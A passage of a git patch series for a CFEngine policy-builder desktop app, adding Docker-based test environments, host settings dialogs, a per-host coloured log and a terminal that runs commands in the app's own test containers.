markTestActivitySeen(): void { + if (![...runtimes.values()].some(runtime => runtime.outcome)) return; + for (const [id, runtime] of runtimes) runtimes.set(id, { ...runtime, outcome: null }); + for (const listener of listeners) listener(); +} + +export function clearLog(environmentId: string): void { + update(environmentId, () => ({ lines: [] })); +} diff --git a/src/renderer/src/project/useCompiledPolicy.ts b/src/renderer/src/project/useCompiledPolicy.ts index a34ade4..1c69442 100644 --- a/src/renderer/src/project/useCompiledPolicy.ts +++ b/src/renderer/src/project/useCompiledPolicy.ts @@ -31,7 +31,7 @@ export function useCompiledPolicy(enabled: boolean): CompiledPolicyState { const groups = useAppSelector(state => state.groups); const meta = useMemo( - () => (project ? toCfbsProject({ canvas, derivedNodes, edges, files, groups }, project).project : null), + () => (project ? toCfbsProject({ canvas, derivedNodes, edges, files, groups, testEnvironments: [] }, project).project : null), [project, canvas, derivedNodes, edges, files, groups] ); // What the compiler reads (and is sent): everything but the open file and positions. diff --git a/src/renderer/src/project/useProjectSession.ts b/src/renderer/src/project/useProjectSession.ts index 01736d8..6a95faa 100644 --- a/src/renderer/src/project/useProjectSession.ts +++ b/src/renderer/src/project/useProjectSession.ts @@ -17,7 +17,8 @@ const snapshotOf = (state: RootState): ProjectData => ({ derivedNodes: state.derivedNodes, edges: state.edges, files: state.files, - groups: state.groups + groups: state.groups, + testEnvironments: state.testEnvironments }); const errorMessage = (cause: unknown) => (cause instanceof Error ? cause.message : String(cause)); @@ -146,7 +147,7 @@ export function useProjectSession() { const result = await window.api.openProject(path ? { path } : {}); if (!result) return; if (!result.ok) throw new Error(result.message); - const { data, ...project } = loadCfbsProject(result.cfbs, result.builder, folderNameOf(result.path)); + const { data, ...project } = loadCfbsProject(result.cfbs, result.builder, folderNameOf(result.path), result.testEnvironments); dispatch(projectLoaded({ ...project, path: result.path }, data)); dispatch(historyCleared()); markSaved(); diff --git a/src/renderer/src/store/history.ts b/src/renderer/src/store/history.ts index 3fad2d5..728af1c 100644 --- a/src/renderer/src/store/history.ts +++ b/src/renderer/src/store/history.ts @@ -19,7 +19,7 @@ export function inOneStep(dispatch: Dispatch, run: () => void) { } const LIMIT = 100; -export const UNDOABLE_KEYS = ['canvas', 'derivedNodes', 'edges', 'files', 'groups'] as const; +export const UNDOABLE_KEYS = ['canvas', 'derivedNodes', 'edges', 'files', 'groups', 'testEnvironments'] as const; export type UndoableKey = (typeof UNDOABLE_KEYS)[number]; // Text edits dispatch per keystroke: consecutive ones to the same field merge @@ -34,7 +34,8 @@ const TYPING_FIELDS: Record = { 'canvas/sampleInputChanged': 'value', 'files/fileConditionClassNameChanged': 'className', 'groups/groupConditionClassNameChanged': 'className', - 'groups/groupRenamed': 'name' + 'groups/groupRenamed': 'name', + 'testEnvironments/hostRenamed': 'name' }; // Change undoable state without being worth a step of their own. const UNTRACKED = new Set(['files/fileSelected']); diff --git a/src/renderer/src/store/index.ts b/src/renderer/src/store/index.ts index bffdec5..eecc2a2 100644 --- a/src/renderer/src/store/index.ts +++ b/src/renderer/src/store/index.ts @@ -10,6 +10,7 @@ import filesReducer from './filesSlice'; import groupsReducer from './groupsSlice'; import { withHistory } from './history'; import projectReducer from './projectSlice'; +import testEnvironmentsReducer from './testEnvironmentsSlice'; const rootReducer = withHistory( combineReducers({ @@ -19,7 +20,8 @@ const rootReducer = withHistory( edges: edgesReducer, files: filesReducer, groups: groupsReducer, - project: projectReducer + project: projectReducer, + testEnvironments: testEnvironmentsReducer }) ); diff --git a/src/renderer/src/store/projectSlice/types.ts b/src/renderer/src/store/projectSlice/types.ts index 22323ff..980a40d 100644 --- a/src/renderer/src/store/projectSlice/types.ts +++ b/src/renderer/src/store/projectSlice/types.ts @@ -2,6 +2,7 @@ import type { BlockInstance } from '../canvasSlice/types'; import type { BlockEdge } from '../edgesSlice/types'; import type { PolicyFile, PolicyFolder } from '../filesSlice/types'; import type { BlockGroup } from '../groupsSlice/types'; +import type { TestEnvironment } from '../testEnvironmentsSlice/types'; // How the project is stored: a policy set (masterfiles plus this project, built with // `cfbs build`), or a module other policy sets add with `cfbs add` (cfbs.json `type`). @@ -29,4 +30,5 @@ export interface ProjectContentState { edges: BlockEdge[]; files: { currentFileId: string | null; files: PolicyFile[]; folders: PolicyFolder[] }; groups: BlockGroup[]; + testEnvironments: TestEnvironment[]; } diff --git a/src/renderer/src/store/testEnvironmentsSlice/index.ts b/src/renderer/src/store/testEnvironmentsSlice/index.ts new file mode 100644 index 0000000..9db54d1 --- /dev/null +++ b/src/renderer/src/store/testEnvironmentsSlice/index.ts @@ -0,0 +1,70 @@ +import { type PayloadAction, createSlice } from '@reduxjs/toolkit'; + +import { projectCreated, projectLoaded } from '../projectSlice'; +import type { TestEnvironment, TestHost } from './types'; + +const newHost = (name: string, platform = 'ubuntu-22'): TestHost => ({ id: crypto.randomUUID(), name, platform, ports: [], env: {} }); + +/** A fresh environment: one Ubuntu host, its own hub, Community. */ +export function newEnvironment(name: string, host: Partial = {}): TestEnvironment { + const first = { ...newHost('hub'), ...host }; + return { id: crypto.randomUUID(), name, arch: 'x86_64', edition: 'community', version: 'latest', hub: first.id, env: {}, envFile: null, hosts: [first] }; +} + +const find = (state: TestEnvironment[], id: string) => state.find(environment => environment.id === id); + +const testEnvironmentsSlice = createSlice({ + name: 'testEnvironments', + initialState: [] as TestEnvironment[], + reducers: { + environmentAdded(state, action: PayloadAction) { + state.push(action.payload); + }, + environmentChanged( + state, + action: PayloadAction<{ changes: Partial>; environmentId: string }> + ) { + const environment = find(state, action.payload.environmentId); + if (environment) Object.assign(environment, action.payload.changes); + }, + hubChanged(state, action: PayloadAction<{ environmentId: string; hostId: string }>) { + const environment = find(state, action.payload.environmentId); + if (environment?.hosts.some(host => host.id === action.payload.hostId)) environment.hub = action.payload.hostId; + }, + hostAdded(state, action: PayloadAction<{ environmentId: string }>) { + const environment = find(state, action.payload.environmentId); + if (!environment) return; + const names = new Set(environment.hosts.map(host => host.name)); + let number = environment.hosts.length; + while (names.has(`client${number}`)) number += 1; + environment.hosts.push(newHost(`client${number}`, environment.hosts.at(-1)?.platform)); + }, + hostRemoved(state, action: PayloadAction<{ environmentId: string; hostId: string }>) { + const environment = find(state, action.payload.environmentId); + if (!environment || environment.hosts.length <= 1) return; + environment.hosts = environment.hosts.filter(host => host.id !== action.payload.hostId); + if (environment.hub === action.payload.hostId) environment.hub = environment.hosts[0].id; + }, + hostRenamed(state, action: PayloadAction<{ environmentId: string; hostId: string; name: string }>) { + const host = find(state, action.payload.environmentId)?.hosts.find(item => item.id === action.payload.hostId); + if (host) host.name = action.payload.name; + }, + hostChanged(state, action: PayloadAction<{ changes: Partial>; environmentId: string; hostId: string }>) { + const host = find(state, action.payload.environmentId)?.hosts.find(item => item.id === action.payload.hostId); + if (host) Object.assign(host, action.payload.changes); + }, + // The environment's variables (no hostId), or one host's own. + envVarsChanged(state, action: PayloadAction<{ env: Record; environmentId: string; hostId?: string }>) { + const environment = find(state, action.payload.environmentId); + const target = action.payload.hostId ? environment?.hosts.find(host => host.id === action.payload.hostId) : environment; + if (target) target.env = action.payload.env; + } + }, + extraReducers: builder => { + builder.addCase(projectCreated, () => []).addCase(projectLoaded, (_state, action) => action.payload.content.testEnvironments ?? []); + } +}); + +export const { environmentAdded, environmentChanged, hubChanged, hostAdded, hostRemoved, hostRenamed, hostChanged, envVarsChanged } = + testEnvironmentsSlice.actions; +export default testEnvironmentsSlice.reducer; diff --git a/src/renderer/src/store/testEnvironmentsSlice/types.ts b/src/renderer/src/store/testEnvironmentsSlice/types.ts new file mode 100644 index 0000000..845d470 --- /dev/null +++ b/src/renderer/src/store/testEnvironmentsSlice/types.ts @@ -0,0 +1,45 @@ +// A test host: one Docker container. `ports` are published host:container (TCP). +export interface TestHost { + env: Record; + id: string; + name: string; + // A key of cfpb_testenv.PLATFORMS: "ubuntu-22", "ubuntu-24", "debian-12". + platform: string; + ports: { container: number; host: number }[]; +} + +// A test environment (.policy-builder/test-environments.json): hosts, which one is the hub (a +// single host is its own hub), the CFEngine edition and version they run, and environment +// variables — the environment's, each host's own, and an optional .env file's. +export interface TestEnvironment { + // The hosts' CPU architecture. x86-64 by default — on Apple Silicon Docker emulates it — since + // most platforms have x86-64 packages; arm64 runs natively there. + arch: 'aarch64' | 'x86_64'; + edition: 'community' | 'enterprise'; + env: Record; + // Relative to the project folder, e.g. "./.env"; read when hosts start or run, never saved. + envFile: string | null; + hosts: TestHost[]; + hub: string; + id: string; + name: string; + // "latest" or an exact release, e.g. "3.27.1". + version: string; +} + +// The platforms a host can run (cfpb_testenv.PLATFORMS); which have packages depends on the +// edition, version and architecture (the sidecar's `testenv platforms`). +export const PLATFORMS = [ + { id: 'ubuntu-20', label: 'Ubuntu 20.04' }, + { id: 'ubuntu-22', label: 'Ubuntu 22.04' }, + { id: 'ubuntu-24', label: 'Ubuntu 24.04' }, + { id: 'debian-12', label: 'Debian 12' }, + { id: 'debian-13', label: 'Debian 13' }, + { id: 'rhel-7', label: 'RHEL 7 (CentOS 7)' }, + { id: 'rhel-8', label: 'RHEL 8 (AlmaLinux 8)' }, + { id: 'rhel-9', label: 'RHEL 9 (AlmaLinux 9)' }, + { id: 'rhel-10', label: 'RHEL 10 (AlmaLinux 10)' } +] as const; + +// Whether a platform has a client / hub package (null: not known yet, e.g. offline). +export type PlatformSupport = Record; From db80a3337b2acaf4c46285e336abcd96f247ec30 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Fri, 2 Oct 2026 14:39:27 +0300 Subject: [PATCH 031/141] Test Results tab shows hosts as a topology, with a coloured log and a terminal Host cards are status first (state, step, IP, last run, port links) with their settings in a dialog; environment settings moved behind one button. Run test starts what isn't up and runs the policy. The log has host tabs, a colour per host, rows by type (report, error, warning, change) and folds container setup. A terminal runs a command on the chosen hosts. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- python/cfpb_backend.py | 19 +- python/cfpb_testenv.py | 65 +++- src/main/testenv.ts | 2 +- src/preload/api.d.ts | 11 +- src/preload/index.ts | 5 +- .../src/components/TestResultsView.tsx | 357 +++++++++++------- .../testenv/EnvironmentSettingsDialog.tsx | 89 +++++ .../src/components/testenv/HostCard.tsx | 227 +++++------ .../components/testenv/HostSettingsDialog.tsx | 118 ++++++ .../src/components/testenv/HostTabs.tsx | 57 +++ .../src/components/testenv/LogPane.tsx | 231 +++++++++--- .../src/components/testenv/TerminalBar.tsx | 51 +++ .../src/components/testenv/hostColors.ts | 11 + src/renderer/src/project/testRuns.ts | 49 ++- 14 files changed, 945 insertions(+), 347 deletions(-) create mode 100644 src/renderer/src/components/testenv/EnvironmentSettingsDialog.tsx create mode 100644 src/renderer/src/components/testenv/HostSettingsDialog.tsx create mode 100644 src/renderer/src/components/testenv/HostTabs.tsx create mode 100644 src/renderer/src/components/testenv/TerminalBar.tsx create mode 100644 src/renderer/src/components/testenv/hostColors.ts diff --git a/python/cfpb_backend.py b/python/cfpb_backend.py index 456dbef..c13a7e0 100644 --- a/python/cfpb_backend.py +++ b/python/cfpb_backend.py @@ -359,6 +359,8 @@ def testenv_command(action: str) -> int: streaming = { "up": cfpb_testenv.up, "run": cfpb_testenv.run, + "test": cfpb_testenv.test, + "exec": cfpb_testenv.execute, "stop": cfpb_testenv.stop, "destroy": cfpb_testenv.destroy, } @@ -376,7 +378,7 @@ def testenv_command(action: str) -> int: message = str(error) except Exception as error: # Docker SDK / network errors: one line for the UI message = f"{type(error).__name__}: {error}" - if action in ("pull", "up", "run", "stop", "destroy"): + if action in ("pull", "up", "run", "test", "exec", "stop", "destroy"): cfpb_testenv.emit("error", message=message) print(message, file=sys.stderr) return 1 @@ -397,7 +399,20 @@ def main(argv: list[str] | None = None) -> int: testenv = commands.add_parser("testenv", help="test environments (Docker hosts)") testenv.add_argument( "action", - choices=["doctor", "images", "package", "platforms", "pull", "status", "up", "run", "stop", "destroy"], + choices=[ + "doctor", + "images", + "package", + "platforms", + "pull", + "status", + "up", + "run", + "test", + "exec", + "stop", + "destroy", + ], ) args = parser.parse_args(sys.argv[1:] if argv is None else argv) if args.command == "testenv": diff --git a/python/cfpb_testenv.py b/python/cfpb_testenv.py index 7c7294a..d07ef00 100644 --- a/python/cfpb_testenv.py +++ b/python/cfpb_testenv.py @@ -366,7 +366,9 @@ def _has_image(engine, image: str, arch: str) -> bool: return False -def ensure_image(engine, platform: str, edition: str, version: str, hub: bool, arch: str) -> str: +def ensure_image( + engine, platform: str, edition: str, version: str, hub: bool, arch: str, host_id: str | None = None +) -> str: """A local image with CFEngine installed (built once per platform, edition, role, version and arch).""" if platform not in PLATFORMS: raise RunnerError(f"Unknown platform: {platform}") @@ -377,7 +379,7 @@ def ensure_image(engine, platform: str, edition: str, version: str, hub: bool, a if _has_image(engine, f"{repository}:{tag}", arch): return f"{repository}:{tag}" label = f"{spec['label']} ({arch}) with CFEngine {edition} {found['version']} ({role})" - emit("step", step="image", message=f"Preparing {label}") + emit("step", host=host_id, step="image", message=f"Preparing {label}") if not _has_image(engine, spec["image"], arch): pull(spec["image"], arch) builder = engine.containers.run( @@ -524,9 +526,9 @@ def _bootstrapped(engine, container) -> bool: return run_in(engine, container, "test -s /var/cfengine/policy_server.dat", None, "quiet") == 0 -def up(request: dict) -> None: +def up(request: dict, finish: bool = True) -> str: """Start: build the policy, make sure every host's container exists and runs CFEngine, deploy - the policy to the hub and bootstrap everyone to it.""" + the policy to the hub and bootstrap everyone to it. Returns the built masterfiles.""" env, engine = request["environment"], client() hosts = env.get("hosts") or [] hub_host = next((h for h in hosts if h["id"] == env.get("hub")), hosts[0] if hosts else None) @@ -541,7 +543,7 @@ def up(request: dict) -> None: containers = {} for host in sorted(hosts, key=lambda h: h is not hub_host): emit("host", host=host["id"], state="provisioning") - image = ensure_image(engine, host["platform"], edition, version, host is hub_host, arch) + image = ensure_image(engine, host["platform"], edition, version, host is hub_host, arch, host["id"]) containers[host["id"]] = _ensure_container(engine, env, host, image, host_env(env, host, dotenv)) hub = containers[hub_host["id"]] _deploy(engine, hub, masterfiles_dir) @@ -557,10 +559,12 @@ def up(request: dict) -> None: ), "Bootstrap", ) - emit("host", host=host["id"], state="ready", container=container.name) + emit("host", host=host["id"], state="ready", container=container.name, ip=_ip(engine, container, env)) if edition == "enterprise": _setup_code(engine, hub, hub_host) - emit("done") + if finish: + emit("done") + return masterfiles_dir def _setup_code(engine, hub, hub_host: dict) -> None: @@ -588,9 +592,9 @@ def _compliance(engine, container) -> dict | None: return {"kept": kept, "repaired": repaired, "notKept": not_kept} -def run(request: dict) -> None: - """Run policy: rebuild and redeploy the current edits, then run the agent on every host (hub - first) until a run repairs nothing, at most MAX_RUNS times.""" +def run(request: dict, masterfiles_dir: str | None = None) -> None: + """Run policy: rebuild (unless just built) and redeploy the current edits, then run the agent on + every host (hub first) until a run repairs nothing, at most MAX_RUNS times.""" env, engine = request["environment"], client() hosts = env.get("hosts") or [] hub_host = next((h for h in hosts if h["id"] == env.get("hub")), hosts[0] if hosts else None) @@ -598,7 +602,7 @@ def run(request: dict) -> None: missing = [h["name"] for h in hosts if h["id"] not in containers or containers[h["id"]].status != "running"] if hub_host is None or missing: raise RunnerError(f"Start the environment first ({', '.join(missing) or 'no hosts'} not running)") - masterfiles_dir = build_policy(request["content"], request["masterfiles"], request["cacheDir"]) + masterfiles_dir = masterfiles_dir or build_policy(request["content"], request["masterfiles"], request["cacheDir"]) _deploy(engine, containers[hub_host["id"]], masterfiles_dir) dotenv = read_dotenv(request.get("envFile")) only = set(request.get("hosts") or [h["id"] for h in hosts]) @@ -609,7 +613,7 @@ def run(request: dict) -> None: emit("host", host=host["id"], state="running") result = None for number in range(1, MAX_RUNS + 1): - emit("step", host=host["id"], step="run", message=f"Run {number}") + emit("step", host=host["id"], step="run", message=f"Run {number} of {MAX_RUNS}") run_in(engine, container, f"{CFENGINE}/cf-agent -KI -f update.cf", host["id"], "agent", environment) code = run_in(engine, container, f"{CFENGINE}/cf-agent -KI", host["id"], "agent", environment) result = {**(_compliance(engine, container) or {}), "exit": code, "run": number} @@ -624,6 +628,34 @@ def run(request: dict) -> None: emit("done") +def test(request: dict) -> None: + """Run Test: Start what isn't up yet, then run the policy everywhere.""" + run(request, up(request, finish=False)) + + +def execute(request: dict) -> None: + """The terminal: runs a shell command on the chosen hosts, one after another, streaming each + one's output; emits a `result`-free `exec` event with its exit code.""" + env, engine = request["environment"], client() + command = request.get("command") + if not isinstance(command, str) or not command.strip(): + raise RunnerError("No command to run") + containers = _labelled(engine, env) + dotenv = read_dotenv(request.get("envFile")) + only = set(request.get("hosts") or []) + for host in env.get("hosts") or []: + if only and host["id"] not in only: + continue + container = containers.get(host["id"]) + if container is None or container.status != "running": + emit("log", host=host["id"], stream="exec", line=f"{host['name']} isn't running") + continue + emit("log", host=host["id"], stream="command", line=f"$ {command}") + code = run_in(engine, container, command, host["id"], "exec", host_env(env, host, dotenv)) + emit("exec", host=host["id"], exit=code) + emit("done") + + def status(request: dict) -> dict: """Each host's container, as Docker sees it (found by label).""" env, engine = request["environment"], client() @@ -631,9 +663,12 @@ def status(request: dict) -> dict: hosts = {} for host in env.get("hosts") or []: container = containers.get(host["id"]) - hosts[host["id"]] = ( - {"state": container.status, "container": container.name} if container else {"state": "absent"} - ) + if container is None: + hosts[host["id"]] = {"state": "absent"} + continue + networks = container.attrs.get("NetworkSettings", {}).get("Networks", {}) + ip = (networks.get(network_name(env)) or {}).get("IPAddress") or None + hosts[host["id"]] = {"state": container.status, "container": container.name, "ip": ip} return {"hosts": hosts} diff --git a/src/main/testenv.ts b/src/main/testenv.ts index e7c8c02..a5fea2d 100644 --- a/src/main/testenv.ts +++ b/src/main/testenv.ts @@ -11,7 +11,7 @@ import { type SidecarStream, startSidecarStream, testEnvQuery } from './backend' const BASE_IMAGES = new Set(['ubuntu:22.04', 'ubuntu:24.04', 'debian:12']); // The streaming actions: pulling a base image, and an environment's Start / Run / Stop / Destroy. -const STREAMING = new Set(['pull', 'up', 'run', 'stop', 'destroy']); +const STREAMING = new Set(['pull', 'up', 'run', 'test', 'exec', 'stop', 'destroy']); const runs = new Map(); const isRecord = (value: unknown): value is Record => typeof value === 'object' && value !== null && !Array.isArray(value); diff --git a/src/preload/api.d.ts b/src/preload/api.d.ts index c32bd93..5209495 100644 --- a/src/preload/api.d.ts +++ b/src/preload/api.d.ts @@ -66,11 +66,13 @@ export interface TestEnvironment { // What Start / Run / Stop / Destroy get: the environment and the project to build and deploy. export interface TestEnvRequest { + // The terminal's command (exec). + command?: string; content?: ProjectContent; // The .env file's absolute path (absent for an unsaved project). envFile?: string | null; environment: TestEnvironment; - // Run / Destroy only these hosts (default: all). + // Run / Exec / Destroy only these hosts (default: all). hosts?: string[]; masterfiles?: string; } @@ -80,9 +82,10 @@ export type TestEnvEvent = | { current: number; t: 'progress'; total: number } | { host?: string | null; line: string; stream?: string; t: 'log' } | { host?: string; message: string; step: string; t: 'step' } - | { container?: string; converged?: boolean; host: string; state: string; t: 'host' } + | { container?: string; converged?: boolean; host: string; ip?: string; state: string; t: 'host' } | { exit: number; host: string; kept?: number; notKept?: number; repaired?: number; run: number; t: 'result' } | { host: string; setup_code: string | null; t: 'hub'; url: string | null } + | { exit: number; host: string; t: 'exec' } | { t: 'done' } | { message: string; t: 'error' } | { message?: string; ok: boolean; t: 'exit' }; @@ -200,9 +203,9 @@ declare global { version: string; }) => Promise<{ platforms: { client: boolean; hub: boolean; id: string; label: string }[] }>; /** Starts a streaming action (pull a base image; an environment's up / run / stop / destroy); resolves with the run id its events (onTestEnvEvent) carry. */ - testEnvStart: (action: 'destroy' | 'pull' | 'run' | 'stop' | 'up', request: TestEnvRequest | { image: string }) => Promise; + testEnvStart: (action: 'destroy' | 'exec' | 'pull' | 'run' | 'stop' | 'test' | 'up', request: TestEnvRequest | { image: string }) => Promise; /** Each host's container as Docker sees it: running, exited, absent… */ - testEnvStatus: (request: TestEnvRequest) => Promise<{ hosts: Record }>; + testEnvStatus: (request: TestEnvRequest) => Promise<{ hosts: Record }>; }; } } diff --git a/src/preload/index.ts b/src/preload/index.ts index ec54f32..a106b5d 100644 --- a/src/preload/index.ts +++ b/src/preload/index.ts @@ -82,14 +82,15 @@ const api = { onTestEnvEvent, testEnvDoctor: (): Promise => invoke('testenv:doctor'), testEnvImages: (): Promise<{ platforms: BaseImage[] }> => invoke('testenv:images'), - testEnvStart: (action: 'destroy' | 'pull' | 'run' | 'stop' | 'up', request: TestEnvRequest | { image: string }): Promise => + testEnvStart: (action: 'destroy' | 'exec' | 'pull' | 'run' | 'stop' | 'test' | 'up', request: TestEnvRequest | { image: string }): Promise => invoke('testenv:start', action, request), testEnvPlatforms: (query: { arch: string; edition: string; version: string; }): Promise<{ platforms: { client: boolean; hub: boolean; id: string; label: string }[] }> => invoke('testenv:platforms', query), - testEnvStatus: (request: TestEnvRequest): Promise<{ hosts: Record }> => invoke('testenv:status', request), + testEnvStatus: (request: TestEnvRequest): Promise<{ hosts: Record }> => + invoke('testenv:status', request), cancelTestEnvRun: (runId: string): Promise => invoke('testenv:cancel', runId), /** Sets the window title (null: no project) and the unsaved-changes state. */ diff --git a/src/renderer/src/components/TestResultsView.tsx b/src/renderer/src/components/TestResultsView.tsx index ed097fd..1edf25b 100644 --- a/src/renderer/src/components/TestResultsView.tsx +++ b/src/renderer/src/components/TestResultsView.tsx @@ -1,9 +1,12 @@ import { type ReactNode, useEffect, useState } from 'react'; import AddIcon from '@mui/icons-material/Add'; -import CheckCircleOutlineIcon from '@mui/icons-material/CheckCircleOutlined'; -import WarningAmberIcon from '@mui/icons-material/WarningAmber'; -import { Box, Button, LinearProgress, MenuItem, Stack, TextField, Typography } from '@mui/material'; +import AddCircleOutlineIcon from '@mui/icons-material/AddCircleOutlined'; +import PlayArrowIcon from '@mui/icons-material/PlayArrow'; +import StopIcon from '@mui/icons-material/Stop'; +import StopOutlinedIcon from '@mui/icons-material/StopOutlined'; +import TuneIcon from '@mui/icons-material/Tune'; +import { Box, Button, ButtonBase, IconButton, LinearProgress, Stack, Typography, alpha, useTheme } from '@mui/material'; import { toCfbsProject } from '../project/cfbsProject'; import { cancelAction, clearLog, refreshStatus, startAction, useEnvironmentRuntime } from '../project/testRuns'; @@ -22,15 +25,15 @@ import { } from '../store/testEnvironmentsSlice'; import type { PlatformSupport, TestEnvironment } from '../store/testEnvironmentsSlice/types'; import { useMasterfilesVersions } from './dialogs/NewProjectDialog'; -import { EnvVarsField } from './testenv/EnvVarsField'; +import { EnvironmentSettingsDialog } from './testenv/EnvironmentSettingsDialog'; import { HostCard } from './testenv/HostCard'; +import { HostSettingsDialog } from './testenv/HostSettingsDialog'; import { LogPane } from './testenv/LogPane'; +import { TerminalBar } from './testenv/TerminalBar'; type Api = NonNullable; type DockerStatus = Awaited>; -const BUSY_LABEL = { up: 'Starting…', run: 'Running policy…', stop: 'Stopping…', destroy: 'Removing…', pull: 'Pulling…' }; - // Why the environment can't start as it is, if it can't. function problemOf(environment: TestEnvironment, support: PlatformSupport | null): string | null { for (const host of environment.hosts) { @@ -62,6 +65,8 @@ export function TestResultsView() { const versions = useMasterfilesVersions(); const [docker, setDocker] = useState(null); const [checks, setChecks] = useState(0); + const [editingHost, setEditingHost] = useState(null); + const [environmentOpen, setEnvironmentOpen] = useState(false); const [support, setSupport] = useState<{ key: string; platforms: PlatformSupport | null } | null>(null); const supportKey = environment ? `${environment.edition}|${environment.version}|${environment.arch}` : ''; @@ -124,164 +129,230 @@ export function TestResultsView() { const busy = runtime.action !== null; const problem = problemOf(environment, platformSupport); - const emulated = Boolean(docker?.arch) && docker!.arch !== environment.arch; - const ready = Boolean(docker?.available) && !busy && !problem; const id = environment.id; const anyUp = Object.values(runtime.hosts).some(host => ['running', 'ready', 'done', 'failed'].includes(host.state)); const anyExists = Object.values(runtime.hosts).some(host => host.state !== 'absent'); const lastResults = new Map(runtime.results.map(result => [result.host, result])); + const editing = environment.hosts.find(host => host.id === editingHost); + const network = `cfpb-${ + environment.id + .toLowerCase() + .replace(/[^a-z0-9]/g, '') + .slice(0, 8) || 'env' + }`; return ( - - - {docker?.available ? ( - - ) : ( - - )} - - {docker ? docker.message : 'Checking Docker…'} - {docker && !docker.available && ( - - )} - - {busy ? ( - <> - {BUSY_LABEL[runtime.action!]} - - - ) : ( - <> - - - - - - )} - - - dispatch(environmentChanged({ environmentId: id, changes: { name: event.target.value } }))} - sx={{ width: 200 }} - /> - dispatch(environmentChanged({ environmentId: id, changes: { edition: event.target.value as TestEnvironment['edition'] } }))} - sx={{ width: 170 }} + + {busy ? ( + + ) : ( + )} + + setChecks(count => count + 1)} + /> + + + {environment.name} · {environment.edition === 'enterprise' ? 'Enterprise' : 'Community'} {environment.version} ·{' '} + {environment.arch === 'aarch64' ? 'arm64' : 'x86-64'} + + setEnvironmentOpen(true)}> + + {busy && } - - - dispatch(envVarsChanged({ environmentId: id, env }))} - /> - {environment.hosts.map(host => ( - 1} - lastResult={lastResults.get(host.id)} - support={platformSupport} - otherPorts={new Set(environment.hosts.filter(other => other.id !== host.id).flatMap(other => other.ports.map(port => port.host)))} - onRename={name => dispatch(hostRenamed({ environmentId: id, hostId: host.id, name }))} - onChange={({ env, ...changes }) => { - if (env) dispatch(envVarsChanged({ environmentId: id, hostId: host.id, env })); - if (Object.keys(changes).length > 0) dispatch(hostChanged({ environmentId: id, hostId: host.id, changes })); - }} - onMakeHub={() => dispatch(hubChanged({ environmentId: id, hostId: host.id }))} - onRemove={() => dispatch(hostRemoved({ environmentId: id, hostId: host.id }))} - onReset={() => void startAction(environment, 'destroy', request([host.id]))} - /> - ))} - - + + + {[...environment.hosts] + .sort((a, b) => Number(b.id === environment.hub) - Number(a.id === environment.hub)) + .map(host => ( + setEditingHost(host.id)} + /> + ))} + dispatch(hostAdded({ environmentId: id }))} - sx={{ textTransform: 'none' }} + sx={{ py: 1.5, borderRadius: 1, border: '1px dashed', borderColor: 'divider', color: 'text.secondary', fontSize: 13, gap: 0.75 }} > - Host + Add client host + + + + + Network:{' '} + + {network} + + + - + + + + clearLog(id)} /> + void startAction(environment, 'exec', { ...request(hosts), command })} + /> - clearLog(id)} /> + {editing && ( + 1} + support={platformSupport} + otherPorts={new Set(environment.hosts.filter(other => other.id !== editing.id).flatMap(other => other.ports.map(port => port.host)))} + onClose={() => setEditingHost(null)} + onRename={name => dispatch(hostRenamed({ environmentId: id, hostId: editing.id, name }))} + onChange={({ env, ...changes }) => { + if (env) dispatch(envVarsChanged({ environmentId: id, hostId: editing.id, env })); + if (Object.keys(changes).length > 0) dispatch(hostChanged({ environmentId: id, hostId: editing.id, changes })); + }} + onMakeHub={() => dispatch(hubChanged({ environmentId: id, hostId: editing.id }))} + onRemove={() => { + setEditingHost(null); + dispatch(hostRemoved({ environmentId: id, hostId: editing.id })); + }} + onReset={() => { + setEditingHost(null); + void startAction(environment, 'destroy', request([editing.id])); + }} + /> + )} + {environmentOpen && ( + setEnvironmentOpen(false)} + onChange={changes => dispatch(environmentChanged({ environmentId: id, changes }))} + onEnvChange={env => dispatch(envVarsChanged({ environmentId: id, env }))} + onDestroy={() => { + setEnvironmentOpen(false); + void startAction(environment, 'destroy', request()); + }} + /> + )} ); } +const BUSY_LABEL = { + up: 'Starting hosts…', + run: 'Running policy…', + test: 'Running test…', + exec: 'Running command…', + stop: 'Stopping…', + destroy: 'Removing…', + pull: 'Pulling…' +}; + +// The toolbar's status pill: what's happening, or how the last run went. +function RunSummary(props: { + action: keyof typeof BUSY_LABEL | null; + busy: boolean; + docker: DockerStatus | null; + error: string | null; + hosts: TestEnvironment['hosts']; + onRetry: () => void; + runtime: ReturnType; +}) { + const theme = useTheme(); + const pill = (tone: 'error' | 'info' | 'success' | 'warning', text: string, extra?: ReactNode) => ( + + + + {text} + + {extra} + + ); + const { docker, runtime } = props; + if (!docker) return pill('info', 'Checking Docker…'); + if (!docker.available) + return pill( + 'warning', + docker.problem === 'not_installed' ? 'Docker isn’t installed' : 'Docker isn’t running', + + ); + if (props.busy && props.action) return pill('info', BUSY_LABEL[props.action]); + if (props.error) return pill('error', props.error); + const ran = props.hosts.filter(host => runtime.results.some(result => result.host === host.id)); + if (ran.length === 0) return null; + const last = (hostId: string) => runtime.results.filter(result => result.host === hostId).at(-1)!; + const failed = ran.filter(host => runtime.hosts[host.id]?.state === 'failed' || last(host.id).exit !== 0); + const notKept = ran.filter(host => (last(host.id).notKept ?? 0) > 0); + const count = `${ran.length} ${ran.length === 1 ? 'host' : 'hosts'}`; + if (failed.length) return pill('error', `Last run: failed on ${failed.map(host => host.name).join(', ')}`); + if (notKept.length) return pill('warning', `Last run: promises not kept on ${notKept.map(host => host.name).join(', ')} · ${count}`); + const converged = ran.every(host => runtime.hosts[host.id]?.converged); + return pill(converged ? 'success' : 'warning', `Last run: ${converged ? 'converged' : 'still repairing'} · ${count}`); +} + function Placeholder({ children, text }: { children?: ReactNode; text: string }) { return ( diff --git a/src/renderer/src/components/testenv/EnvironmentSettingsDialog.tsx b/src/renderer/src/components/testenv/EnvironmentSettingsDialog.tsx new file mode 100644 index 0000000..69352d9 --- /dev/null +++ b/src/renderer/src/components/testenv/EnvironmentSettingsDialog.tsx @@ -0,0 +1,89 @@ +import { Button, Dialog, DialogActions, DialogContent, DialogTitle, MenuItem, Stack, TextField } from '@mui/material'; + +import type { TestEnvironment } from '../../store/testEnvironmentsSlice/types'; +import { EnvVarsField } from './EnvVarsField'; + +export interface EnvironmentSettingsDialogProps { + busy: boolean; + canDestroy: boolean; + // The Docker engine's own architecture, when known (another one is emulated). + engineArch?: string; + environment: TestEnvironment; + onChange: (changes: Partial>) => void; + onClose: () => void; + onDestroy: () => void; + 